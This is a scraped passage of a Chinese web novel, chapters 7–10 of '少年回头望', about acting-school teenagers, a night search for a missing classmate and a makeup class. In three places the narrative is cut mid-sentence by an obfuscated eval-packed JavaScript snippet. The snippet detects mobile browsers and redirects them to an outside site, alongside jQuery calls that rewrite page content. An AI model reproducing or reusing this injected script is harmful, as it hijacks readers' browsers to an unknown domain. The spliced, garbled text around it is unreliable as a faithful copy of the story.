《少年回头望》 7.五月 李欲解释完,拧开保温杯喝一口茶:“今天我们还是培养兴趣,放电影。观后感不多,五百字。开始吧。” 这次不放热门武侠片了,李欲放了部冷门枪战片,这部电影同样获奖无数、情节紧凑,可某些长镜头太多,年代又过于久远,看着难免催眠。 等电影放完,有几个同学睡醒了,举手要去上厕所。 五百字并不多,纪颂边写边勾勾画画,观后感写完了,还在草稿纸上乱七八糟速写了几处分镜,都是他印象较深的镜头。 纸上一群火柴人歪歪扭扭,画得不太好。 纪颂删改了几句,上台交完作业,向李欲请假去了厕所。 男厕内扑面而来一大股烟味。 纪颂皱了皱眉,看见班上刚才请假出来那几个男生正蹲在便池旁边抄写,手里攥着不知道哪里来的手机。 手机屏幕亮着,光线把升腾而起的烟雾照得更为清晰。 “纪颂!”有男生招呼他,“来?独抄抄不如众抄抄。” 另外个男生边写字边抱怨:“哎,这李欲的课下次我们翘了吧,我又不考戏导,无聊……” “你们抄,”纪颂背对着他们,手按在裤腰上准备上厕所,“这片子我看过解说,刚写完就交了。” 他说完,冲他们抬了抬下巴:“嗳。手机。” “马上关,”男同学笑嘻嘻的,利索地熄灭屏幕,对旁边还在奋笔疾书的人说:“别卷了,字数够了差不多就行啊!” 拉上裤子,纪颂仰起脑袋看窗外湛蓝的天,等走到洗手池前才注意到赵逐川从身后的隔间里也走了出来。 两人并排站着一起洗手,再一前一后走出了男厕所。 回教室的路上,纪颂不知道是赵逐川腿要长点儿还是怎么,走得总要比他快,他得加快走路的速度才能搭上话:“你没抽?” 赵逐川口吻很不屑:“我不抽烟。” 然后又只留了个后脑勺对着纪颂。 回到教室,李欲先是夸纪颂的文笔简洁,还写得一手隽秀的字,又说赵逐川的字也漂亮,但观后感内容欠缺,只有对作品的幕后创作细节表述非常到位,点名让两个人上讲台来改一下内容。 “好兄弟!”纪颂挪动脚步凑过去,胳膊轻撞了撞,“你也喜欢这部电影?” 很老土的搭讪方式。 赵逐川的视线扫过来,盯着纪颂看了好几秒钟,又别过眼去:“后面的。我只是看过解说。” 纪颂愣了好几秒才反应过来自己什么时候叫过对方“前面的”。 近距离带来的冲击比远距离更大。 赵逐川本就是偏冷的长相,这么斜着飞一眼过来,纪颂才发现他眼裂是亚洲人少见的长,内眼角转折带尖钩,眼仁留白较多,往哪里看都有不屑一顾的架势。 果然,浓颜才有绝对的冲击力。 纪颂好汉不吃眼前亏,在心底默默为赵逐川排列标签—— 好看,不爱理人,且,超级记仇。 他乘胜追击:“晚上放学和我们一起回去好吗?” 外面的天明晃晃的,离黑下来还早。 赵逐川习惯性以沉默表达拒绝,没说话,就很静地看着纪颂。 纪颂只觉得这前桌性子太冷,很难聊到一块儿去,一肚子话憋了一整天,又怕等回了寝室他们仨唱一台戏,小声道:“求你了,跟我说句话吧。” 赵逐川表情松动了点,问:“我们?” “室友们。” “去哪里?” 纪颂就差围着他转圈圈:“回宿舍,202。你是我们寝室的。” 赵逐川盯了对方一会儿,一句“你到底想干什么”没说出口,纪颂的邀请热烈真诚,不像带着什么恶意,赵逐川想了想,才回答:“好。” “叽里咕噜什么呢,怎么没见纪颂对我那么热情啊?”台下的况野目睹这一切,趁着交作业,碰了碰林含声的手肘,“哎,他不会真要带赵逐川和我们一块儿吧?” “一起就一起啊,”林含声说,“其实吧……川哥很好说话的。” 况野有一瞬间没吭声。 赵逐川?好说话? 你说他和蔼可亲倒不如说我现在普通话一乙呢? 今天周日,没有晚自习。 教室内,金姐集合全班点了一遍名,唠唠叨叨交代了许多,再安排所有人在教室里静站了半个小时错过师范大学学生出校的高峰期人流,才大手一挥。 “该吃饭的都去吃饭,还在长身体呢,别一个个为了上镜好看在那里绝食,有些人才来一个多周,都瘦成什么样了?” 纪颂摸摸脸蛋,还行。 他属于骨相挂得住肉的,只要不暴饮暴食都不会长太多脂肪,也很少水肿,但他得增肌,不然扛不动器材,肩膀也不够宽,演不了戏。 他比划比划。 赵逐川的肩就起码比自己宽了一个手掌。 金姐训了这个骂那个,等全班几乎都被挨批了个遍,她才开始善意提醒:“不过,我听说明天一大早明哥要拉你们去跑步,别吃太多,小心积食。” 底下小树苗们齐声:“是——” 金姐:“哦还有,再被我逮到谁在晨练之前偷偷吃韭菜馅儿包子,我可不留面子了!” 小树苗们哗啦笑开,笑了好一会儿才又整齐划一:“知道了——” 金姐敲桌子:“后天上午妆发课,要带的东西都准备好了吗?” 小树苗们饿得有气无力:“准备好了——” “行,吃饭去吧,”金姐挥手,“记着,少油少盐啊!” 经过这么多天相处,班上学生被她收拾得一个个心服口服,临走时扯着脖子回应,都喊“谢谢我金姐”。 纪颂刚上完厕所出教学楼,小跑几步,追上林含声他们,抬胳膊搂人,一边一个:“妆发课带什么啊?上周妆发课我们还没来呢。” “我们”指他和赵逐川。 赵逐川右肩一沉,望了他许久。 林含声一时没注意有什么不对,搭腔:“我刚要跟你俩说,后天妆发课,男生要带发胶、眉笔。” 纪颂还搭着赵逐川,勾肩搭背走了几步发现赵逐川比他高,走路腰板挺得笔直利落,搂着费劲儿,他这才放下胳膊,揉了揉手,扫过眼前三个人的上半张脸,疑惑道:“眉笔?” 况野叹息道:“颂啊,并不是每个人都有眉毛的。” 尽管已经错开了师大下课的时间点,这条从教学楼去食堂区域的小路上仍然有一些师大的学生和他们往同一方向去。 他们四个人凑在一块儿太过于招摇显眼,不少大学生频频回头朝这边看来,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722389|173597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胆儿大的学姐干脆站远了点,毫不掩饰地相互交谈:“大一的学弟吗?我还头一回看见……” “去问问哪个系的?” “有个……看着有点嫩诶,会不会是集星的?” 赵逐川戴着口罩,对旁人探究的目光视若无睹。 纪颂一听“有点儿嫩”下意识侧过头去看林含声,赵逐川颇有冲击力的侧脸却直直闯入视线。 他口罩上的横条捏成了拱起的小山,鼻梁峭拔,低垂着眼时,他轻轻皱眉的神态很像躲避镜头不让拍摄的明星。 纪颂一时没挪开眼,而赵逐川只将食指弯曲起来,抵在纪颂后腰处,轻轻往前顶了一下。 “别发呆,往前走。”赵逐川说。 纪颂打了个激灵,被况野趁机作乱,薅了把他后脑勺的头发。 “不是吧,”况野抽回手,迅速搓搓掌心,“啧”一声,“你头发这么软?” “滚!”纪颂这才回过神,缩着脖子边躲边咬牙,“你想蹭我洗发水就直说!” 四个人一起回宿舍会路过食堂和小吃街。 而且得把小吃街全部逛完,一条路从头走到尾,才能走到尽头的集星宿舍楼。 纪颂对此评价:“太残忍了。” 况野:“敌人太强大了。” 青春期正在长身体的男生们在来了集星后都吃得少,经常饿得前胸贴后背,极度渴望重油重盐,可明跃才下了死命令说要控制饮食和糖油摄入,谁被他偶遇在学校附近方圆一公里内吃火锅烤肉都得给个说法。 可金姐说了,完全不吃,代谢会变慢,还是得吃。 纪颂在第一个摊位买了个白馒头,狠吸一口米面的蒸腾香气,总算活了过来。 他眼神发亮:“夏天就是要吃凉面凉皮啊。” 赵逐川出声:“面食加硼砂能保持口感,切丝的刀从来不洗。” “那边还有卤鸡爪!” “卤味在户外放太久,亚硝酸盐含量会升高。” 路过下个摊位,纪颂张嘴咬一大口馒头:“手搓冰粉!” 赵逐川冷笑:“手搓的。” “……” 纪颂一个趔趄刹住步子,弯腰装胃痛:“我谢谢你,突然不饿了。” 赵逐川很懂得如何运用他那副让人口渴的嗓子说出让人倒胃口的话。 在原地站了几秒,赵逐川眉心轻拧,仗着身高优势,伸手越过排队买小吃的人群,拎住纪颂的后衣领把人往外拽:“我帮你们减肥。不然一路吃回宿舍了又后悔。” 树在暮色中化作沉默的剪影。 小吃街用餐区域人来人往,热油裹着食材的香气扑面而来,烟火味十足,两个高中男生正蹲在路坎边啃馒头,狼吞虎咽,还有两个站得笔直端正,吃得慢条斯理。 纪颂含着小半个馒头,脸蛋鼓起一处小包:“真神了,饿了一下午,我头一次发觉这馒头这么香……” 不过赵逐川这人真是神奇。 长着一张对什么事都不感兴趣的脸,居然对吃的也不感兴趣。 不爱吃东西到底是怎么长到这么高的? 林含声笑眯眯地蹲下身,用肩膀顶了他一下:“人饿了,啃木头都香。” 纪颂还真扭头看了眼背后的树——赵逐川正用肩头倚着它,脚边铺开片片翠绿的落叶。 8.五月 进食馒头结束,四个人走到校门口的日用品店买了眉笔、发胶,准备往回走。 不远处停着一辆黑色D级轿车。 轿车纯银的轮毂反光透亮,长轴距车身通体乌黑,还上着在西南地区少见的京牌。 尽管车子已经熄了火,连车灯都没开,它依然在这样一所地理位置偏僻的大学校园里很是扎眼,纪颂想不记得都难。 林含声和况野充水卡去了,得往前多绕几百米路。 看纪颂还抱着一摞书,林含声就说让他和赵逐川凑合着一块儿先回来。 “凑合”这词用得太妙了。 认出来了这辆车,纪颂抱着书不知道还该不该上楼:“你今晚要回京北?” 哦对,今天周日。 “嗯。放我桌上,谢了。” 赵逐川递东西的时候稍稍弯下腰,认真将一盒圆形发胶塞进纪颂怀里唯一还能搂住物品的空隙中,和他本人一样冷硬的发茬近得几乎快碰到纪颂的嘴唇。 纪颂的鼻尖晕开一股洗发水的清爽气息,像沐浴之后赤裸肌肤的清新皂香,干净冷冽。 赵逐川手里还有一根眉笔,细长形状的,可纪颂身上实在找不到空隙可以放了。 他正犹豫着,纪颂动作利索地伸出手,并拢食指和中指,夹住了眉笔。 赵逐川怔了一秒,挑起眉:“你真不抽烟?” 纪颂没半点心虚地爽快回应:“我真不抽啊。” 他们几乎在同一时间抬头看向对方。 十七岁这年初夏第一个双目相接的夜晚,天空就这样暗下来,云霞弥漫开层层递进的渐变紫色。 浅紫深紫望不见边际,今日的夜空没有尽头。 望着赵逐川的脸和他身后浓郁的紫色—— 纪颂眨了眨眼,像这样就可以按下快门键拍下视野所及。 他往后躲了半寸,抬起单膝,用大腿顶了下快掉在地上的东西,眼神还没舍得挪开:“这么晚才走,那你到京北岂不是都凌晨了?总是这么往返跑……” “是你让我放学和你一起的。” 赵逐川拉开车门,把书包放进后座,冲纪颂点了点脑袋,“陪你到宿舍楼下了,我走了。” 他这一走就是五天。 周二到周五,恰逢五一假期,来上课的专业老师个个怨气冲天。 从朗诵课上到形体课,纪颂轮番见识了集星本届师资力量的厉害,全身心栽在学习中,天天晨练都按时到岗。 偶尔下晚自习后,纪颂会和林含声、况野三个人跑出校门遛遛弯再回宿舍,除此之外,五一假期跟平时不放假没什么两样。 假期的师范大学校园非常清净,偌大的校园被集星一家独享。 等七月八月放暑假,人就更少了。 班上人不多,两周过去基本都混了个脸熟。 “好羡慕啊,我高中同学都出去玩了两三天才回学校复习,”孟檀趴在课桌上标注朗诵课的稿件声调,“我们居然一口气上了四天课,这周还不休息……” 纪颂在翻悬疑小说集:“去哪里玩的?” 他瞟了眼孟檀在桌上摊开的波浪长卷发,铅笔在指缝中转了个圈,往扉页上画了只吐墨的八爪章鱼。 孟檀有气无力:“京北。” “……”纪颂突然想起来一个被他遗忘在角落的人,“赵逐川明天是不是要来上课了?” “嗯,”孟檀冲他眨眨眼,“就是明天。” 这事儿又很快被纪颂抛诸脑后。 一直到回宿舍洗完澡上床,他的所有注意力都在他枕边的平板电脑上。 他誊抄下来李欲上课送的“八字真言”,在枕头旁的墙上贴了便签纸,营造出“拼搏百天我要上XX大学”的氛围。 空调扇叶转过来,便签纸如蝶翼哗啦轻颤出声响。 今夜似乎不安宁。 窗外有声响,纪颂戴上耳机都感觉有些吵闹。 透过窗帘,他模糊看见宿舍楼下小坝子中站着两位面生的老师,听说那是集星的助教,之后会带新班当班主任。 那两个老师一高一矮,全在焦急地打电话,手中电筒光束豁然照开跟前一条路。 纪颂悄悄咪咪掀开被子:“什么事?” “听说女寝那边有人没回宿舍,正在找人呢,”况野从床上支出大半个身子,努力伸胳膊去按灭最后一盏灯,“你说我们个个都未成年,出点什么事儿真要了命了。” 啪嗒,灯灭了。 纪颂侧躺着,床边一角被路灯照得发白。 金姐上来了男寝又找了一趟,路过202时,她敲开门,紧张地往里望了一眼,手电光线扫过每个人的床,走廊上不断传来来回踱步声。 林含声嘀咕:“没办法,条件有限,我们这个年龄的学生是不太好管……不对啊,况野,女寝那边的事你怎么知道?” “我们班女同学说的。”况野语气藏着一句“你终于问了”,悄声继续说:“喂,颂啊,今早晨练结束,我看有师大的姐姐来找你要微信,你没给啊?” 纪颂突然没了看电影的兴致:“没给啊。” 况野追问:“我看我们班一男的不也老看你吗,你加他没有?” 纪颂在黑夜中闷闷出声:“再问我把你微信给他。” “……”况野没声了。 心里还不踏实,纪颂翻身坐起来:“是谁丢了?我们班女生?” “嗯,头发特别卷,麦当劳卷卷薯条,记得吗?”况野说了个人名,坐起身比划,“要不我们出去找找?” 纪颂能把班上每个同学都认全,甚至名字的每个字都不会记错。 “行,”他掀开窗帘一角,“金姐能答应?” 路灯下,其他老师各自指了四个方向,分别小跑着找人去了,202宿舍门口只剩金姐叉着腰在打电话,她的短发捋到了耳后,手电筒光还亮着。 纪颂爬梯子下床,木质床板咯吱咯吱地叫唤。 楼道里传来轻微的脚步声。 金姐的声音:“你怎么这么晚回来了?” 另一不太熟悉的男声响起:“金姐,我赶明早晨练。” 纪颂挂在床梯上还没来得及落地,赵逐川已经推开了宿舍门,金姐握着的手电筒喷出一道明晃晃的光照在纪颂侧腰上。 赵逐川戴着鸭舌帽,帽檐遮挡大半张脸,只露出他尖尖的下颔。 金姐怒道:“你俩要去哪儿?” 况野原本无所畏惧地裸着上半身,这被异性大大方方地一看,他反倒不好意思了,赶紧随手套上短袖:“金姐!我们打算帮忙找人去,行吗?” 经指挥,大家决定兵分两路。 大半夜未成年少女失踪可不是说着玩儿的,这里不比高中校园,真要出什么事儿,集星别想开下去了。 除了202寝室全员出动,隔壁寝室的男生也加入了进来。 几个穿短袖短裤的小伙子往楼道里一站,特别精神,金姐把手电筒照到大白墙上,说只准在学校范围内找,过零点还找不到就回来,不回来按夜不归宿严肃处理。 赵逐川刚来还不认识路,纪颂自告奋勇和他组成一队,两人被分到了操场的区域。 现在是十点半。 月色模糊昏暗,夜色来势汹汹。 操场上跑步的人少,扫一眼非常明了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15733075|173597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 纪颂还是拉着赵逐川围着中央绿茵场跑了一圈,才确认每个背影都不是他们要找的人。 突然,纪颂瞥到最远处经常有学生翻墙出校的墙边出现了一男一女,女生长发及腰,有点眼熟。 纪颂指着那个方向:“你看那儿,是不是她?” 赵逐川飞快地扫了一眼:“我不认识。我们班我就认识你。” “不管了,宁肯错杀,不可遗漏……” 没多犹豫,纪颂直接拽着赵逐川的胳膊朝墙边冲刺跑去,赵逐川也没甩开他,两人汗贴着汗,凌乱的脚步声此起彼伏,跑了好久,他们才冲到墙角下,那两人早已没了影儿。 纪颂心急,作势要拨开树枝去找砖头垫脚。 这里位置太偏僻,操场射灯和监控都照不到这里,月亮被一片云遮住了半边,四周黑得两人只能在视野中望见对方的眼睛。 纪颂擦了擦掌心的汗,眼睛亮澄澄的:“这外面是小吃街,人杂,我翻出去看看说不定能……” 赵逐川扳过纪颂的肩膀,冷声提醒:“你也跟着翻出去,性质就不一样了。” “我……”纪颂挣不开他,这才发现赵逐川手劲非常之大,晃眼又看到刚才本该一起翻墙的那个男生从远处跑道上跑走,他一怔,“不对啊,女生呢?” 赵逐川拧眉:“没看到。翻出去了?” 纪颂四处张望,借着月光发现墙角堆砖处的枯草堆挡着一条小路的入口,他打开手机手电筒一指:“我们看看那里。” 周围太黑,两人每走一步都小心谨慎。 可看不清的夜路总有走偏的时候。 不知道是哪一步踏错了,赵逐川脚下悬空,鼻腔中猛然扑进一股霉味,灰尘屑洋洋洒洒地落下来,他果断护住头,身体却斜着摔到旁边的空地上。 纪颂下意识伸手去拽他胳膊,自己却一脚踩进枯草堆前的石坑里,眼前一阵天旋地转,只依稀在黑暗中看见有什么东西离自己越来越近—— 直到一根从地上翘起来的断树枝飞快擦过他的脖颈。 “嘶!” 求生的本能让纪颂条件反射地偏过头。 他抬手死死护住脖子,一时不知道该屁股先疼还是脖子疼,又觉得在赵逐川面前摔跤有些丢脸,忙着处理尴尬,自己给自己解围:“我觉得这肯定是师大教务处用来抓学生的陷阱……” 一束手机电筒的光线打在脸上。 赵逐川略带凉意的指腹抵住他下巴:“抬头。” 手刚刚接触过地面,脏,赵逐川只曲起手指,用关节轻轻按了按纪颂擦破的皮肤,那里有一道很浅的伤口。 那好像是他前些天……才用狮子鼻尖蹭过的位置。 “没事的,”纪颂仰面躺着,呼吸声极重,“你的脸比我的贵。” 赵逐川刚才也差点摔了一跤。 他的卫衣帽子扣在头上,帽子和肩背连成一座暗沉沉的小山。 小山阴沉着脸看了纪颂一会儿。 纪颂被看得赶紧从地上坐起来,拍了拍裤子上的泥,正准备说点什么再挽回面子。 小山却脱掉了外套,把卫衣卷起来往地上一铺,转身去找刚才纪颂摸索了好半天的砖块,两只手一边拎一块,看得纪颂条件反射地往后躲了一下。 “你要是累了就坐地上。我去买药,十分钟就回来。” 赵逐川单脚踩在垫起的砖头上,低头活动手腕,这时候才偏过头看他:“你很饿?” 四周这一片太黑了,静得只能听见一堵墙外的喧闹声。 纪颂抬头:“啊?” “别装,”赵逐川一抬下巴,“我早就听见你肚子叫了。” 9.五月 大学的墙不比中学,只要能垫上砖块就很好翻,中学个个都是十几岁心智还没完全成熟的小孩,出了什么事,家长是要把校方闹翻天的,所以每天都有保安在墙边巡逻守夜,翻墙如偷.渡,成功率极低。 大学的墙完全就是意思一下,连三角玻璃渣都没有。 纪颂看着赵逐川轻巧潇洒的背影,突然感觉自己又行了。 十分钟后,赵逐川拎着翻墙出去买的药和一袋夜宵回来了。 喷好消炎药,贴上创口贴,纪颂接过赵逐川打包的夜宵道了声谢,肚里的馋虫又被那香味勾得嗷嗷叫,硬着头皮道:“你是体育生还是舞蹈生啊,怎么翻墙还能带一份冒菜,还不洒……” 赵逐川:“这么大一份还堵不住你的嘴。” 纪颂:“这么大一份我不减肥了?” 赵逐川凉凉地扫过来一眼:“都是素菜。” “……”纪颂沉默几秒接受事实。 行吧,素菜也行,素菜也有荤腥味儿! 吃素菜长得高,好看的人就爱吃素菜。 两人一前一后地离开那片会把筷子喂进鼻孔的黑暗区域,步行至操场路灯下。 纪颂找了个花台坐下来拆塑料袋,心想今天还真是时运不济,肚子又饿脖子还疼,同学还没找到。 “不用找人了,金姐说找到了,”赵逐川收起手机,话题转变得很快,“我想你应该能吃辣。” 纪颂点点头。 明明伤口很疼,他却觉得开心,假装被辣得眼泪汪汪,上一秒生啃一口小米辣,下一秒抬眼看向赵逐川,眼眸被泪水洗得黑白分明,总有种全世界都欠他纪颂钱的纯澈,很漂亮。 他的痣长在右脸颧骨往下些的位置,近看才明显,那明明不是泪痣,可多看几眼,总让人觉得这是适合流泪的长相。 纪颂用手背擦了把眼睛,认真撇开辣油,说:“好辣。” 赵逐川的耐心所剩无几:“不能吃吗?” 纪颂摇头:“能吃。其实我是疼哭的。” 耳旁传来一声很沉、很短促的轻笑,纪颂后颈泛起的细碎痒意来得毫无征兆,若有若无,却不容忽视。 “你等一下。”赵逐川也半蹲下来,视线和纪颂持平。 他伸出手,用食指抵住纪颂的下巴,曲起中指,轻轻抚平创口贴翘起的边角。 “没贴好。”赵逐川说。 被触碰过的地方酥酥麻麻泛起一阵难以察觉的电流,纪颂顿觉皮肤又开始痒了,伸手“啪”一声轻轻拍到伤口周围,再一看手掌心,没蚊子。 赵逐川抬眸:“什么东西?” “我血甜,招蚊子。”纪颂放慢进食,嘴和手都很克制,还问:“你不当减肥监督大使了?” 赵逐川应他:“伤员另算。” 纪颂算了算日子,确实该摄入一顿放纵餐了,这碗还是赵逐川翻墙给他买回来的,给点面子多吃几口。 “算了,没人看见就相当于没热量。”他说服自己。 赵逐川脸上掠过很淡的笑意,闭上了眼睛。 纪颂又往耳后拍了拍,还是没捉到那只蚊子。 十分钟后,所有人按时回了宿舍。 操场夜风沉闷,纪颂步子慢吞吞的,他不想被看出来娇气,捏起袖口就把眼泪抹了,赵逐川也没有一个人闷着脑袋往前走,而是放慢速度在等他。 走到宿舍楼下,纪颂才追上去几步:“我刚刚加你了,你通过一下?” 深夜,楼道里灯没亮,周围很黑,纪颂看不清赵逐川的表情,补充:“我给你转夜宵钱和医药费。” “不用,我请你吃。”黑暗中寒光一闪,是赵逐川掏出了宿舍钥匙。 “哦,那你也通过一下,”纪颂加快脚步连跨好几级阶梯,“我只是想加你微信。” 他丝毫没觉得这一句话有什么不对劲。 赵逐川沉默了一会儿,声线轻缓:“只是加微信?” 那不然还能干什么? 纪颂完全没听出来有什么问题,“嗯”了一声,想到什么做什么,趁着赵逐川技能冷却期,马上掏出手机:“我扫你!” 嘀—— 二维码扫描声和枕头边放的小闹钟一个样。 微信通过验证时间是第二天早上。 昨晚的找人活动消耗了大量体力,四个人回来倒头就睡,连聊几句八卦的精力都没有,现在,三人寝多了个大活人,都还不习惯。 纪颂回来得晚,一句都没多打听。 他趁着洗完脸穿鞋的间隙,才问:“昨晚到底怎么回事?” “没出校,和她对象在学校里遛弯儿呢,”况野叹气,“走得远,跑研究生宿舍那边去了,压力太大去那边躲着哭,所以找好久才找着。” 纪颂系了个活结,“哦”一声:“我们昨天在操场追到两个翻墙的,我还以为是她。” “操场?那基本是大学生在翻,多半是出去买宵夜或者开房了。” 点了点头,纪颂没接话了。 赵逐川的早饭很糊弄,他只买了杯插吸管喝的小米粥,林含声问他你这也能吃饱? 他无所谓地晃了晃杯子,说这个方便。 他认床,昨晚没睡好,也就没什么胃口,吃什么都一样。 晨练结束,今早第一节上妆发课。 纪颂小跑回了趟寝室,按照上节课老师教的抓头发教程,对着镜子捣鼓了十来分钟,奈何没有造型天赋,最终选择埋头全部草草洗掉,顶着原始开机状态发型去上课。 妆发老师是一名长发男性,叫Vega。 Vega在第一节课就对纪颂这张脸蛋啧啧称赞,并且警告他要丢掉难看的工装裤和靴子,必要时还可以把墨镜撸到额头上去,把额头露出来。 一见纪颂还穿短靴长裤来上课,Vega有点来气,点名让纪颂上台继续当模特儿。 纪颂坐好。 他脖子上贴了块创口贴。 Vega愣了下,隐晦地挤眉弄眼:“哟。” 纪颂猜他是误会了,刚想解释,Vega却不给他机会,直接捏住他的下巴,手中拿一根削好的眉笔,敲了敲桌子,忽然指向某座位的方向:“新来的?” 被点中名字的赵逐川回应:“老师好。” 纪颂瞬间像终于来了救兵,坐不住了,还以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737989|173597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为赵逐川要被点上来替代自己,刚弯腰离开凳子,又被Vega抬手按回去。 Vega“嗯”一声,捋起袖子:“还挺帅的,但是眉眼太浓,面部留白不多,画和不画没多大区别。我的课你可以睡觉。” 赵逐川没有真的睡觉,他从抽屉里摸出半边挂耳式耳机戴好,单手撑住侧脸,对Vega点了点头。 “你随意。” Vega握着笔,摆正纪颂乱动的脑袋:“你别动。” 灰棕色笔尖在皮肉上勾勾画画,单边眉形很快画好。 纪颂被画了半边脸。 一半骨相清秀,一半秾郁精致。 细碎的刘海被Vega随手抹了发胶全部梳了上去,露出额头,整个人像蓄势待发的劲草。 提气色的淡色唇釉也只上了一半,Vega指挥着同学拉开了窗帘,自然光照射进教室,手里这张脸更是粲然生光。 Vega满意端详一阵,化妆刷轻敲在他发顶,说:“纪颂呢,算现在流行的淡颜,很耐看,肤色白,所以看着干净。那这个时候呢,他的面部就不宜点缀过多,适当留白就好,所以过于重的唇部色彩、自然款美瞳,都不需要……” 化妆刷的柄在眼前飞来飞去。 纪颂盯着正前方的窗帘,数上面的褶子。 底下同学们聚在一起的目光快把他脸烧个洞出来,他实在是不好意思。 Vega又去黑板上教学如何定点画眉的最高点、眉尾的描法等等,大家听得认真,都低头在a4纸上练习画眉。 练习结束,Vega收来所有画稿,挨个审视一遍,边看边吐槽:“这位程同学,你还是等九.十月份去纹半永久吧,留一个月掉痂期,那时候效果最好……这张不错。” 最后他拎起一张纸,问:“谁画的蜡笔小新?” 赵逐川举手。 全班没人敢大笑,大家都抿起唇,对着桌上支棱起的小镜子各画各的,纪颂歪过头往纸上扫了一眼,脑袋很快被Vega按着扶正。 原来赵逐川的短板是画画啊。 白纸上的眉毛画得有一根手指那么粗。 Vega的手指夹着眉笔转了转,脸色变了又变:“你的确有资本不学。头发抓得很帅啊,自己弄的?你上来。” 纪颂也分辨不出赵逐川的头发是抓的还是烫的。 赵逐川前额没留什么碎发,眉眼无半分遮挡,很容易让人把视线重心落在他的眉骨上。 他基本都是戴个鸭舌帽就来上课,五官恨不得全部遮干净,像这样非常大方地敞亮出整张面孔还是头一回。 “来,新同学,你来演示男生露额头的造型。” Vega拧开发泥盖子,指挥道:“稍后我再演示三七分,各位同学按照自己的脸型选择。来,你用纪颂的头就行。” 赵逐川走上台,接过发泥,站到纪颂的身后。 一只骨节分明的手插.入纪颂的发顶。 那手抬起来,发丝随指尖簌簌而落,纪颂像被人按摩了那样舒服,刚想套近乎夸一夸,只听头顶轻飘飘落下一句:“看来况野没说错。” 真的很软。 10.五月 纪颂莫名其妙:“嗯?” “没什么,”赵逐川面无表情地扶正纪颂想转过来的头,手心贴在纪颂脸颊上,“别乱动。” 收回手时,他的指腹不经意间蹭过纪颂的喉结。 他侧身走到纪颂身前来,稍稍弯着腰,拎起纪颂几根碎发往后拨弄,神情专注,为了不和他对视上,纪颂的眼神一时不知道看哪儿。 纪颂早就观察过了,赵逐川这人平时散漫,看东西少有停留超过五秒的时候。 所以赵逐川把视线汇集在自己身上,他还不太自在。 见赵逐川完成得不错,Vega夸赞几句,又走下讲台来挨个给抓头发、画眉的同学们指导。 五官粗犷的况野抓了个菠萝头,气得Vega鼻孔冲天,说要不你剃寸头好了,省事。 班上还有个女装大佬,平时偶尔化全妆带假发上课,今天卸了妆倒看得出是个五官非常清秀的男生,眉毛和发型都弄得到位,Vega任命他帮着其他同学改眉形。 赵逐川准备回座位。 “你等会儿,”纪颂伸手进裤兜掏了半天,指尖勾着相机带子往外一扯,扯出来一部卡片机,他按了开机键递过去,“能帮我拍张照吗?” 赵逐川飞快地拧了拧眉心,不是很乐意。 纪颂放软音调:“拜托!” 赵逐川犹豫几秒,才说:“怎么拍,什么景?” “中近!”纪颂左右手背对着镜头,一起比耶,“第一次抓头发留念。” 赵逐川没有糊弄,答应了要拍就好好拍,他拿着相机走到两三米开外,稍蹲了蹲身子,将纪颂框入网格线中央的位置,单手按下拍照键。 拿回相机,纪颂对他的拍照技术很满意:“你是不是也喜欢摄影?” “一般。” “……”纪颂又把相机塞回赵逐川手里,“能不能一起合个影?” 赵逐川没有推拒他的相机:“这次又是想留念什么?” 纪颂已经选好了动作:比大拇指。 像在赞扬赵Tony妙手生花。 “第一次你给我抓头发的留念。”纪颂刚说完,赵逐川已经结束了自拍,快得纪颂没有做好表情管理。 第一张合照。 赵逐川那张很权威的脸只露出来三分之一,哪怕下巴抬起来了,双眼皮的深痕仍看得清晰。 纪颂则坐在凳子上笑得很开心。 其实他也头小脸小,皮肤比赵逐川还白一个度。 两个人明明是两种风格,同框却半点不违和。 中午下课铃一响,纪颂第一个找金姐拿回了手机,连上读卡器把这张照片传到手机上,又点开赵逐川的微信,发送原图。 纪颂开了瓶蓝莓果汁,喝了几口,喝出了酒的气势,快速敲击键盘打下一行字:以后我可以拍你吗? 可手指落在“发送”键上方悬浮着,按不下去。 他突然想起自己中考前找班上的年级第一问难题,也很忐忑。 删除全部文字。 手指又动作,打出:以后可以给你拍照吗? 不行,删删删。 感觉像个变态。 纪颂选了个装酷的黄豆表情,最后决定落笔:下次再合作! 一直到午饭都吃完了,赵逐川才回复。 【1101:好。】 四个阿拉伯数字一起排列组合蹦出来,纪颂退出去微信,再重新进微信,确认不是眼花。 1101,我生日? 难不成遇到个同年同月同日生的,还是说赵逐川谈的对象是这一天生日?看不出来还是个大情种啊。 刚才他光顾着想说什么去了,完全没注意微信名。 纪颂这下啪嗒啪嗒敲字敲得飞速,根本没想别的,发送: 【蝉:你微信名是你生日,还是?】 【1101:我的。】 【蝉:太有缘了!】 【1101:?】 【1101:我没对象。】 